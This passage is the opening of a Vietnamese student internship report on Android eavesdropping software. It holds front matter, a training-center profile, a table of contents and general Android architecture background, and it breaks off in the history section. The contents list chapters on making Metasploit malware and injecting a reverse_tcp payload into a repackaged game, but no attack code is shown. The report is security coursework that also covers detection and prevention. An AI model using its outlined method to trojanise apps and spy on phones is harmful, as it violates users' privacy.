Page 1
BÁO CÁO THỰC TẬP CÔNG NGHIỆP 2
ĐỀ TÀI: NGHIÊN CỨU CÁC PHẦN MỀM CHO
PHÉP NGHE LÉN TRÊN ĐIỆN THOẠI SỬ DỤNG
ANDROID
ĐẠI HỌC QUỐC GIA THÀNH PHỐ HỒ CHÍ MINH
TRƯỜNG ĐẠI HỌC BÁCH KHOA
KHOA KHOA HỌC & KĨ THUẬT MÁY TÍNH
TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG
VÀ AN NINH MẠNG QUỐC TẾ
ATHENA
GVHD: Thầy Võ Đỗ Thắng
Sinh viên thực hiện:
Ngô Hoàng Phương – 51104460
Võ Thành Đạt - 5110769
Page 2
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
3
Tôi và bạn, hầu như mỗi người đều có một chiếc điện thoại. Bạn xài điện thoại
gì? Đập đá, windows Phones, IOS hay Android..v.v..? Tôi xài Android, hệ điều hành
phổ biến nhất trên thế giới. Nó rất thú vị: nhiều tiện ích, kho giải trí khổng lồ, giao
diện tùy biến linh hoạt ..v..v.. Vậy bạn có biết ngoài những tiện ích thì khi sử dụng
một chiếc điện thoại ta còn phải đối mặt với những mối nguy nào không?
Một ngày nào đó các cuộc gọi, tin nhắn, danh bạ, hình ảnh, tài khoản…v…v của
bạn bị đánh cấp mà không biết lí do thì đúng là thảm họa. Và đó là mối nguy mà tôi
muốn nói đến (tôi gọi nó là nghe lén). Giờ bạn đã bắt đầu “xoắn” chưa? Hãy tự hỏi
mình đã biết được gì về nghe lén và cách phát hiện nó.! Nếu như bạn còn mơ hồ thì
hãy đọc tài liệu “nghiên cứu nghe lén trên android” để trang bị thêm cho mình kiến
thức bạn nhé.!
TPHCM Ngày 9 tháng 8 năm 2014
Nhóm sinh viên thực hiên
Võ Thành Đạt
Ngô Hoàng Phương
Lời mở đầu
Page 3
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
4
Suốt gần 2 tháàng gắn bó làm việc cùng trung tâm Athena. Được trung tâm nhận
thực tập và chỉ dẫn em có được cơ hội học thêm nhiều kiến thức bổ ích. Em xin gửi
lời cảm ơn đốc Công Ty Quản Trị và An Ninh Mạng Quốc Tế Athena, cùng các anh
chị trong công ty. Đặc biệt, em xin chân thành cảm ơn thầy Đỗ Võ Thắng đã nhiệt
tình giúp đỡ và hướng dẫn em trong suốt thời gian TTCN2. Cảm ơn Trung tâm đã tạo
điều kiện cũng như cung cấp kiến thức trong suốt thời thời gian thực tập, đóng góp
những ý kiến để em hoàn thành tốt bài báo cáo.
Mặc dù tôi nhóm đã cố gắng hoàn thành báo cáo thực tập tốt nghiệp với tất cả nỗ
lực của bản thân, nhưng do trình độ hiểu biết và kinh nghiệm thực tế chắc chắn không
thể tránh khỏi những thiếu sót nhất định, rất mong nhận được sự thông cảm, chia sẻ
và tận tình để nhóm tôi hoàn thành bản báo cáo thực tập TTCN2 tốt hơn.
Lời cảm ơn
Page 4
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
5
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
..........................................................................................................................................
TPHCM, ngày ... tháng ... năm 2014
Giám đốc
Nhận xét của đơn vị thực tập
Page 5
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
6
...........
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
........................................................................................................................................
Nhận xét của Khoa KH Và KT Máy Tính
Page 6
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
7
Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA được
thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng
động, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm huyết góp phần vào
công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành kinh tế mũi nhọn, góp
phần phát triển nước nhà .
Cơ sở 1_Tại TP Hồ Chí Minh:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Số 2 Bis
Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam.
Điện thoại: ( 84-8 ) 3824 4041
Hotline: 0943 23 00 99
Cơ sở 2_Tại TP Hồ Chí Minh:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA 92
Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam.
Website : www.athena.edu.vn or http://www.athena.com.vn
Điện thoại: ( 84-8 ) 2210 3801
Hotline: 0943 20 00 88
Lĩnh vực hoạt động chính:
Giới thiệu về đơn vị thực tập
Page 7
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
8
+ Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên
sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của
các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó,
trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo đơn
đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp,
các cơ quan chính phủ, tổ chức tài chính..
+ Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là
chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều bộ
ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin
Truyền Thông các tỉnh, bưu điện các tỉnh,.,....
+ Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình
hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa Thành
Phố Hồ CHính Minh, Học Viện An Ninh Nhân Dân( Thủ Đức), Học Viện Bưu Chính
Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự ,.....
Đội ngũ giảng viên :
+ Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường đại
học hàng đầu trong nước .... Tất cả giảng viên ATHENA đều phải có các chứng chỉ
quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư phạm Quốc
tế (Microsoft Certified Trainer).Đây là các chứng chỉ chuyên môn bắt buộc để đủ điều
kiện tham gia giảng dạy tại trung tâm ATHENA
+ Bên cạnh đó,Các giảng viên ATHENA thường đi tu nghiệp và cập nhật kiến
thức công nghệ mới từ các nước tiên tiến như Mỹ , Pháp, Hà Lan, Singapore,... và
truyền đạt các công nghệ mới này trong các chương trình đào tạo tại trung tâm
ATHENA
Cơ sở vật chất:
+ Thiết bị đầy đủ và hiện đại
+ Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những công
nghệ mới nhất.
+ Phòng máy rộng rãi, thoáng mát
Dịch vụ hỗ trợ:
+ Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn
+ Giới thiệu việc làm cho mọi học viên
+ Thực tập có lương cho học viên khá giỏi
+ Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không giới
hạn thời gian.
+ Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy tính,
mạng máy tính, bảo mật mạng
+ Hỗ trợ thi Chứng chỉ Quốc tế.
Page 8
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
9
Mục lục
1. Tổng quan về Android ............................................................................................... 11
1.1 Khái niệm về Android .............................................................................................. 11
1.2 Đặc điểm hệ điều hành android .............................................................................. 11
1.3 Kiến trúc hệ điều hành Android.............................................................................. 13
1.3.1 Tầng hạt nhân Linux ........................................................................................... 13
1.3.2 Tầng Library ........................................................................................................ 14
1.3.3 Phần Android runtime ......................................................................................... 14
1.3.4 Tầng Application Framework ............................................................................... 14
1.3.5 Tầng Application ................................................................................................. 15
1.4 Tổ chức quyền sở hữu và quyền hạn trên file ...................................................... 16
1.5 Cây thư mục trên hệ điều hành Android ................................................................ 16
1.6 Các thành phần của một ứng dụng trên Android.................................................. 17
1.7 Lịch sử phát triển .................................................................................................... 19
1.8 Sự ra mắt của các phiên bản Android.................................................................... 22
2. Nghe lén trên Android ............................................................................................... 24
2.1 Định nghĩa ................................................................................................................ 24
2.2 Mã độc trong môi trường Android: ........................................................................ 24
2.2.1 Android là một môi trường lý tưởng cho mã độc phát triển.................................. 24
2.2.2 Phân loại mã độc Android. .................................................................................. 24
2.3 Thực trạng ............................................................................................................... 25
2.4 Malware – tiêu biểu của trên Android..................................................................... 26
2.4.1 Cơ chế hoạt động của Malware. ......................................................................... 26
2.5 Cơ chế bảo mật trong Android ............................................................................... 27
2.5.1 Tính bảo mật trong Android ................................................................................. 27
2.5.2 Cơ chế Permission: ............................................................................................. 27
2.5.3 Google Play: ....................................................................................................... 28
3. Cài đặt Android trên máy ảo ..................................................................................... 28
3.1 Chuẩn bị .............................................................................................................. 28
3.2 Tiến hành cài đặt................................................................................................. 28
4. Nghiên cứu Kali Linux, sử dụng metasploit tạo mã độc trên Kali Linux để xâm
nhập vào máy Android ..................................................................................................... 33
4.1 Tổng quan Kali Linux .............................................................................................. 33
4.2 Cải tiến của Kali Linux so với Backtrack. .............................................................. 33
4.3 Cài đặt Kali Linux .................................................................................................... 34
4.3.1 Chuẩn bị ............................................................................................................. 34
4.3.2 Cài đặt. ............................................................................................................... 34
4.4 Nghiên cứu về Metasploit ....................................................................................... 47
4.4.1 Giới thiệu Metasploit ........................................................................................... 47
Page 9
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
10
4.4.2 Các thành phần của Metasploit ........................................................................... 47
4.4.3 Sử dụng Metasploit framework ............................................................................ 47
4.4.4 Payload meterpreter ............................................................................................ 48
4.5 Tạo mã độc trên Kali linux ...................................................................................... 49
4.6 Sử dụng Meterpreter ............................................................................................... 54
5. Tìm hiểu VPS, cài metasploit trên VPS và tạo mã độc ............................................ 59
5.1 Máy chủ ảo VPS là gì? ............................................................................................. 59
5.2 Đặc điểm về thông số VPS ...................................................................................... 59
5.3 Cài đặt Metasploit trên VPS .................................................................................... 59
5.4 Tạo mã độc và tấn công Android trên VPS Windows Server 2003 ...................... 64
6. Nghiên cứu chèn mã độc vào phần mềm hoặc game trên Android ....................... 67
6.1 Các công cụ sử dụng .............................................................................................. 67
6.1.1 Super APK Tools ................................................................................................... 67
6.1.2 Android SDK ......................................................................................................... 68
6.2 Nghiên cứu source code Reverse_tcp ................................................................... 69
6.3 Rebuild reverse_tcp ................................................................................................ 71
6.4 Chuẩn bị cho việc chèn mã độc ............................................................................. 73
6.5 Thực hiện chèn mã độc vào game flappy bird ...................................................... 74
7. Cách phát hiện và phòng chống nghe lén ............................................................... 78
7.1 Các biểu hiện bất thường ....................................................................................... 78
7.2 Cách phát hiện phần mềm nghe lén ....................................................................... 78
7.2.1 Thủ công ............................................................................................................. 78
7.2.2 Sử dụng phần mềm ............................................................................................ 80
7.3 Cách phòng chống nghe lén ................................................................................... 82
8. Kết quả quá trình thực tập, Kinh nghiệm thu được.................................................... 87
9. Link báo cáo .................................................................................................................. 87
9.1 Ngô Hoàng Phương – 51104460 ............................................................................. 87
9.2 Võ Thành Đạt - 51100769 ........................................................................................ 88
9.3 Clip cuồi kì – Thu hoạch, thuận lợi, khó khăn. ...................................................... 88
10. Tài liệu tham khảo ....................................................................................................... 88
Page 10
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
11
1. Tổng quan về Android
1.1 Khái niệm về Android
Android là một hệ điều hành mã nguồn mở xây dựng trên nền tảng Linux,
chủ yếu sử dụng trên các thiết bị thông minh như điện thoại di động, máy tính
bảng (và hiện nay là cả các đầu phát HD, smart TV, smart Watch …). Trước đây,
Android được phát triển bởi công ty liên hợp Android sau đó được Google mua
lại vào năm 2005. Theo ComScore, đến đầu tháng 3 năm 2014, Android chiếm
51.7% thị phần hệ điều hành trên smartphone tại Mỹ (iOS chiếm 41.6%), là hệ
điều hành số một trên điện thoại thông minh.
Android ra mắt vào năm 2007 cùng với sự tuyên bố thành lập Liên minh
thiết bị cầm tay mở gồm 78 công ty phần cứng, phần mềm và viễn thông với mục
tiêu đẩy mạnh các tiêu chuẩn mở cho các thiết bị di động. Hệ điều hành Android
bao gồm 12 triệu dòng mã: 3 triệu dòng XML, 2.8 triều dòng mã C, 1.75 triệu
dòng mã C++ và 2.1 triệu dòng mã Java. Để thể hiện tính mở của Android,
Google công bố hầu hết các mã nguôn của Android theo bản cấp phép Apache.
1.2 Đặc điểm hệ điều hành android
- Tính mở: Ngay từ ban đầu, Android ra mắt là một hệ điều hành mã nguồn
mở, được xây dựng trên nhân Linux mở sử dụng một máy ảo mà đã được tối
ưu hóa bộ nhớ và phần cứng với môi trường di động; nó có thể được mở rộng
để kết hợp tự do giữa các công nghệ nổi trội. Tính mở hoàn toàn của Android
cho phép người phát triển tạo các ứng dụng hấp dẫn với đầy đủ các điểm
mạnh của các thiết bị cầm tay hiện có. Hơn nữa, một ứng dụng trong Android
có thể gọi tới bất kỳ một chức năng lõi nào như tạo cuộc gọi, gửi tinh nhắn
hay sử dụng máy ảnh… cho phép người phát triển tạo phần mềm phong phú
hơn, dễ dàng liên kết các tính năng cho người dùng. Những nền tảng ưu điểm
này sẽ tiếp tục phát triển bởi cộng đồng phát triển để tạo ra các ứng di động
hoàn hảo.
Tính ngang
bằng ứng dụng
Tính
mở
Phá vỡ rào
cảng ứng dụng
Xây dựng
ứng dụng dễ dàng và
nhanh chóng
Page 11
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
12
- Tính ngang bằng của ứng dụng: Với Android, không có sự khác nhau giữa
các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được
xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện
thoại. Với các thiết bị được xây dựng trên nền tảng Android, người dùng có
thể đáp ứng đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình
nền, kiểu gọi điện thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể
hướng dẫn điện thoại chỉ xem những ảnh mình thích.
- Phá vỡ rào cản phát triển ứng dụng: Android phá vỡ rào cản để tạo ứng
dụng mới và cải tiến. Một người phát triển có thể kết hợp thông tin từ trang
web với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị
trí trên bản đồ – để cung cấp chính xác hơn cho người khác. Với Android,
người phát triển có thể xây dựng một ứng dụng mà cho phép người dùng xem
vị trí của những người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả
được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ định vị
toàn cầu GPS.
- Xây dựng ứng dụng dễ dàng và nhanh chóng: Android cung cấp bộ thư
viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng
phức tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của
thiết bị và cho phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã
hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ
công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng.
Page 12
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
13
1.3 Kiến trúc hệ điều hành Android
Hệ điều hành Android có 4 tầng từ dưới lên trên là tầng hạt nhân Linux
(phiên bản 2.6), tầng Libraries & Android runtime, tầng Application
Framework và trên cùng là tầng Application.
1.3.1 Tầng hạt nhân Linux
Hệ điều hành Android được phát triển dựa trên hạt nhân Linux, cụ thể là hạt
nhân Linux phiên bản 2.6, điều đó được thể hiện ở lớp dưới cùng này. Tất cả mọi hoạt
động của điện thoại muốn thi hành được thì đều thực hiện ở mức cấp thấp. Ở lớp này
bao gồm quản lý bộ nhớ (memory management), giao tiếp với phần cứng (driver
model), thực hiện bảo mật (security), quản lý tiến trình (process).
Tuy được phát triển dựa vào nhân Linux nhưng thực ra nhân Linux đã được nâng
cấp và chỉnh sửa rất nhiều để phù hợp với tính chất của những thiết bị cầm tay, như
hạn chế về bộ vi xử lý, dung lượng bộ nhớ, kích thước màn hình, nhu cầu kết nối
mạng không dây.
Tầng này có các thành phần chủ yếu:
- Display Driver: Điều khiển việc hiển thị lên màn hình cũng như thu nhận những
điều khiển của người dùng trên màn hình (di chuyển, cảm ứng…).
- Camera Driver: Điều khiển hoạt động của camera, nhận luồng dữ liệu từ camera
trả về.
Page 13
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
14
- Bluetooth Driver: Điều khiển thiết bị thu và phát sóng Bluetooth.
- USB driver: Quản lý hoạt động của các cổng giao tiếp USB.
- Keypad driver: Điều khiển bàn phím.
- Wifi driver: Chịu trách nhiệm về việc thu phát sóng wifi.
- Audio Driver: Điều khiển các bộ thu phát âm thanh, giải mã các tín hiệu dạng
audio thành tín hiệu số và ngược lại.
- Binder IPC Driver: Chịu trách nhiệm về việc kết nối và liên lạc với mạng vô tuyến
như CDMA, GSM, 3G, 4G, E để đảm bảo những chức năng truyền thông được thực
hiện.
- M-System Driver: Quản lý việc đọc ghi…lên các thiết bị như thẻ nhớ SD, flash
- Power Management: Giám sát việc tiêu thụ điện năng.
1.3.2 Tầng Library
Phần này có nhiều thư viện được viết bằng C/C++ để các phần mềm có thể sử
dụng, các thư viện đó được tập hợp thành một số nhóm như:
- Thư viện hệ thống (System C library): thư viện dựa trên chuẩn C, được sử dụng chỉ
bởi hệ điều hành.
- Thư viện Media (Media Libraries): Có nhiều codec để hỗ trợ việc phát và ghi các
loại định dạng âm thanh, hình ảnh, video thông dụng.
- Thư viện web (LibWebCore): đây là thành phần để xem nội dung trên web, được
sử dụng để xây dựng phần mềm duyệt web (Android Browse) cũng như để các ứng
dụng khác có thể nhúng vào. Nó cực kỳ mạnh, hỗ trợ được nhiều công nghệ mạnh mẽ
như HTML5, JavaScript, CSS, DOM, AJAX…
- Thư viện SQLite: Hệ cơ sở dữ liệu để các ứng dụng có thể sử dụng
- …
1.3.3 Phần Android runtime
Phần này chứa các thư viện mà một chương trình viết bằng ngôn ngữ Java có thể
hoạt động. Runtime có 2 bộ phận tương tự như mô hình chạy Java trên máy tính
thường. Thứ nhất là các thư viện lõi (Core Library), chứa các lớp như Java IO,
Collection, File Access. Thứ hai là một máy ảo Java (Dalvik Virtual Machine). Mặc
dù cũng được viết từ ngôn ngữ Java nhưng một ứng dụng Java của Android không
được chạy trên JRE của Sun mà là chạy bằng máy ảo Dalvik do Google phát triển.
1.3.4 Tầng Application Framework
Page 14
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
15
Tầng này xây dựng bộ công cụ – các phần tử ở mức cao để các lập trình viên có
thể nhanh chóng xây dựng ứng dụng. Nó được viết bằng Java, có khả năng sử dụng
chung để tiết kiệm tài nguyên.
Đây là một nền tảng mở, điều đó có 2 điều lợi:
- Với các hãng điện thoại: Có thể tùy biến để phù hợp với cấu hình điện thoại mà họ
sản xuất cũng như để có thể có nhiều mẫu mã, style hợp thị hiếu người dùng. Vì thế
nên tuy cùng chung nền tảng Android mà điện thoại của Google có thể khác với
Motorola, HTC, T-Mobile, Samsung…
- Với lập trình viên: Cho phép lập trình viên có thể sử dụng các API ở tầng trên mà
không cần phải hiểu rõ cấu trúc bên dưới, tạo điều kiện cho lập trình viên tự do sáng
tạo bởi vì chỉ cần quan tâm đến nội dung mà ứng dụng họ làm việc. Một tập hợp API
rất hữu ích được xây dựng sẵn như hệ thống định vị, các dịch vụ chạy nền, liên lạc
giữa các ứng dụng, các thành phần giao diện cấp cao…
1.3.5 Tầng Application
Đây là tầng ứng dụng giao tiếp với người sử dụng, bao gồm các ứng dụng như:
- Các ứng dụng cơ bản, được cài đặt đi liền với hệ điều hành: gọi điện, quản lý danh
bạ, duyệt web, nhắn tin, lịch làm việc, đọc email, bản đồ, quay phim chụp ảnh…
- Các ứng dụng được cài thêm như các phần mềm học tiếng Anh, các trò chơi, từ
điển…
Các chương trình có đặc điểm là:
- Viết bằng Java có phần mở rộng là apk.
- Khi mỗi ứng dụng được chạy, nó có một phiên bản Virtual Machine được dựng lên
để phục vụ cho nó.
- Android là hệ điều hành đa nhiệm, điều đó có nghĩa là trong cùng một thời điểm, có
thể có nhiều chương trình cùng chạy một lúc, tuy nhiên với mỗi ứng dụng thì có duy
nhất một thực thể (instance) được phép chạy mà thôi. Điều đó có tác dụng hạn chế sự
lạm dụng tài nguyên, giúp hệ thống hoạt động tốt hơn.
- Các ứng dụng được gán số ID của người sử dụng nhằm phân định quyền hạn khi sử
dụng tài nguyên, cấu hình phần cứng và hệ thống.
- Android là một hệ điều hành có tính mở, khác với nhiều hệ điều hành di động khác,
Android cho phép một ứng dụng của bên thứ 3 chạy nền. Các ứng dụng đó chỉ có một
hạn chế là không được phép sử dụng quá 5% công suất CPU. Điều đó nhằm để tránh
độc quyền trong sử dụng CPU.
- Ứng dụng không có điểm vào cố định, không có phương thức main để bắt đầu.
Page 15
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
16
1.4 Tổ chức quyền sở hữu và quyền hạn trên file
Tương tự trên Linux, với hệ điều hành Android một file có thể liên kết với một
người sử dụng và một nhóm người sử dụng. Sự liên kết đó là một tập hợp các quyền
hạn truy cập bao gồm quyền được phép đọc (read), được phép ghi (write) và được
phép thực thi (execute).
Cụ thể như sau: một file sẽ có những quyền hạn tương ứng với 9 ký tự theo mẫu sau:
Với ký tự r w xnghĩa là có quyền tương ứng với ký hiệu viết tắt đó, - nghĩa là không
có quyền hạn đó.
Bảng 1.2. Tổ chức quyền sở hữu và quyền hạn trên file
Owner Owner group Other
r/- w/- x/- r/- w/- x/- r/- w/- x/-
3 ký tự đầu tiên là quyền hạn của chủ nhân tệp tin.
3 ký tự giữa là quyền hạn của nhóm tài khoản sở hữu tệp tin.
3 ký tự cuối là quyền hạn của nhóm người không có quyền sở hữu tệp tin.
Ví dụ: Một file có dãy ký tự biểu diễn quyền hạn là rwx r-x r– thì điều đó có nghĩa:
3 ký tự đầu là rwx: chủ nhân tệp tin có quyền đọc, ghi và thực thi file.
3 ký tự tiếp theo là r-x thì nhóm tài khoản sở hữu tệp tin có quyền đọc và thực thi file
chứ không có quyền ghi file.
3 ký tự cuối là r– nghĩa là những người không sở hữu file chỉ được phép đọc mà
không được chỉnh sửa và chạy file.
1.5 Cây thư mục trên hệ điều hành Android
Thư mục (hay có thể gọi là file) root là thư mục gốc của tất cả các file cũng như
các thư mục còn lại. Dưới nó có chứa một số file hệ thống. Mỗi thư mục (trừ root) đều
có 1 thư mục cha chứa nó, bản thân nó cũng có thể có nhiều file, thư mục con. Cấu
trúc đó có thể mô tả bằng một cây thư mục có dạng như sau:
Giới thiệu một vài thư mục tiêu biểu:
- /(root): Là thư mục gốc, thư mục duy nhất không có thư mục cha.
- /mnt: thư mục chứa thiết bị lưu động (removeable).
- /system : chứa những thành phần cơ bản nhất của hệ thống.
- /ect : chứa những file cấu hình của hệ thống, nó cực kỳ quan trọng vì sự hoạt động
của hệ thống đều bị chi phối ở những file cấu hình này.
- /system/lost+found : chứa những tập tin bị mất lúc khởi động máy.
Page 16
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
17
- /system/font : chứa những font chữ hiển thị được.
- /system/lib: chứa các thư viện để các phần mềm hoạt động (các phần mềm viết
bằng ngôn ngữ java).
- /system/app : chứa các file apk của phần mềm. (Các file cài đặt ứng dụng, kiểu như
MSI trong window hay dev trong Linux).
- /system/bin : Chứa các chương trình nội trú của hệ thống.
- …
1.6 Các thành phần của một ứng dụng trên Android
Các thành phần: việc hiểu được các thành phần (component) tạo nên một ứng
dụng Android là rất cần thiết cho việc lập trình. Các thành phần này được chia làm 6
loại bao gồm:
- Activity: hiểu một cách đơn giản Activity là nền của ứng dụng. Khi khởi động một
ứng dụng Android nào đó thì bao giờ cũng có main Activity được gọi, hiển thị màn
hình của ứng dụng cho phép người dùng tương tác.
- Service: thành phần chạy ẩn trong Android. Service sử dụng để update dữ liệu, đưa
ra các cảnh báo (Notification) và không bao giờ hiển thị cho người dùng thấy.
- Content Provider: kho dữ liệu chia sẻ. Content Provider được sử dụng để quản lý và
chia sẻ dữ liệu giữa các ứng dụng.
- Intent: nền tảng để truyền tải các thông báo. Intent được sử dụng để gửi các thông
báo đi nhằm khởi tạo một Activity hay Service để thực hiện công việc bạn mong
muốn. Ví dụ: khi mở một trang web, bạn gửi đi một intent đi để tạo 1 activity mới
hiển thị trang web đó.
- Broadcast Receiver: thành phần thu nhận các Intent bên ngoài gửi tới. Ví dụ: bạn
viết một chương trình thay thế cho phần gọi điện mặc định của Android, khi đó bạn
cần 1 broadcast receiver để nhận biết các Intent là các cuộc gọi tới.
- Notification: đưa ra các cảnh báo mà không làm các Activity phải ngừng hoạt động.
Activity, Service, Broadcast Receiver và Content Provider mới là những thành phần
chính cấu thành nên ứng dụng Android và bắt buộc phải khai báo trong
AndroidManifest.
Cơ chế quản lý tiến trình: android có cơ chế quản lý các Process theo chế độ ưu tiên.
Các process có priority thấp sẽ bị Android giải phóng mà không cần cảnh báo để đảm
bảo tài nguyên.
- Foreground process: là process của ứng dụng hiện thời đang được người dùng tương
tác.
- Visible process: là process của ứng dụng mà activity đang hiển thị đối với người
dùng (onPaused() của activity được gọi).
Page 17
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
18
- Service process: là Service đang running.
- Background process: là process của ứng dụng mà các activity của nó không hiển thị
với người dùng (onStoped() của activity được gọi).
- Empty process: process không có bất cứ 1 thành phần nào activity. Theo chế độ ưu
tiên thì khi cần tài nguyên, Android sẽ tự động kill process, trước tiên là các empty
process.
Cơ chế hoạt động và các thành phần trong Android Activity: Như đã giới thiệu ở trên,
Activity là thành phần quan trọng nhất và đóng vai trò chính trong việc xây dựng ứng
dụng Android. Hệ điều hành quản lý Activity theo dạng stack: Khi một Activity mới
được khởi tạo nó sẽ được xếp lên đầu của stack và trở thành running activity, các
Activity trước đó sẽ bị tạm dừng và chỉ hoạt động trở lại khi Activity mới được giải
phóng.
Activity bao gồm 4 state:
- Active (running): Activity đang hiển thị trên màn hình (foreground).
- Paused: Activity vẫn hiển thị (visible) nhưng không thể tương tác (lost focus). Ví
dụ: một Activity mới xuất hiện, hiển thị giao diện đề lên trên Activity cũ, nhưng giao
diện này nhỏ hơn giao diện của Activity cũ, do đó ta vẫn thấy một phần giao diện của
Activity cũ nhưng lại không thể tương tác với nó.
- Stop: Activity bị thay thế hoàn toàn bởi Activity mới sẽ tiến đến trạng thái stop.
- Killed: Khi hệ thống bị thiếu bộ nhớ, nó sẽ giải phóng các tiến trình theo nguyên tắc
ưu tiên. Các Activity ở trạng thái stop hoặc paused cũng có thể bị giải phóng và khi nó
hiển thị lại thì các Activity này phải khởi động lại hoàn toàn và phục hồi lại trạng thái
trước đó.
Biểu đồ miêu tả Activity state:
Khi xây dựng Activity cho ứng dụng cần phải viết lại phương thức onCreate() để thực
hiện quá trình khởi tạo. Các phương thức khác có cần viết lại hay không tùy vào yêu
cầu lập trình.
XML trong Android: Không giống như lập trình Java thông thường, lập trình Android
ngoài các lớp được viết trong *.java còn sử dụng XML để thiết kế giao diện cho ứng
dụng. Tất nhiên bạn hoàn toàn có thể thiết kế giao diện như ý muốn mà không cần bất
kỳ một dòng XML nào. Nhưng việc sử dụng XML sẽ đơn giản hơn rất nhiều, và dễ
chỉnh sửa về sau.
Trong xml layout được dùng để quản lý các thành phần giao diện khác theo một trật tự
nhất định.
- FrameLayout: layout đơn giản nhất, thêm các thành phần con vào góc trên bên trái
của màn hình.
Page 18
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
19
- Linearlayout: thêm các thành phần con theo 1 chiều nhất định (ngang hoặc dọc). Đây
là layout được sử dụng nhiều nhất.
- RelativeLayout: thêm các thành phần con dựa trên mối quan hệ với các thành phần
khác hoặc biên của layout.
- TableLayout: thêm các thành phần con dựa trên 1 lưới các ô ngang dọc.
- AbsoluteLayout: thêm các thành phần con dựa theo tọa độ x, y.
Layout được sử dụng nhằm mục đích thiết kế giao diện cho nhiều độ phân giải.
Thường khi lập trình thường kết hợp nhiều layout với nhau để tạo ra giao diện như
mong muốn.
1.7 Lịch sử phát triển
Tháng 10 năm 2003, Tổng công ty Android (Android, Inc.) được thành lập tại
Palo Alto, California bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner
(đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó giám đốc
T-Mobile) và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển, theo
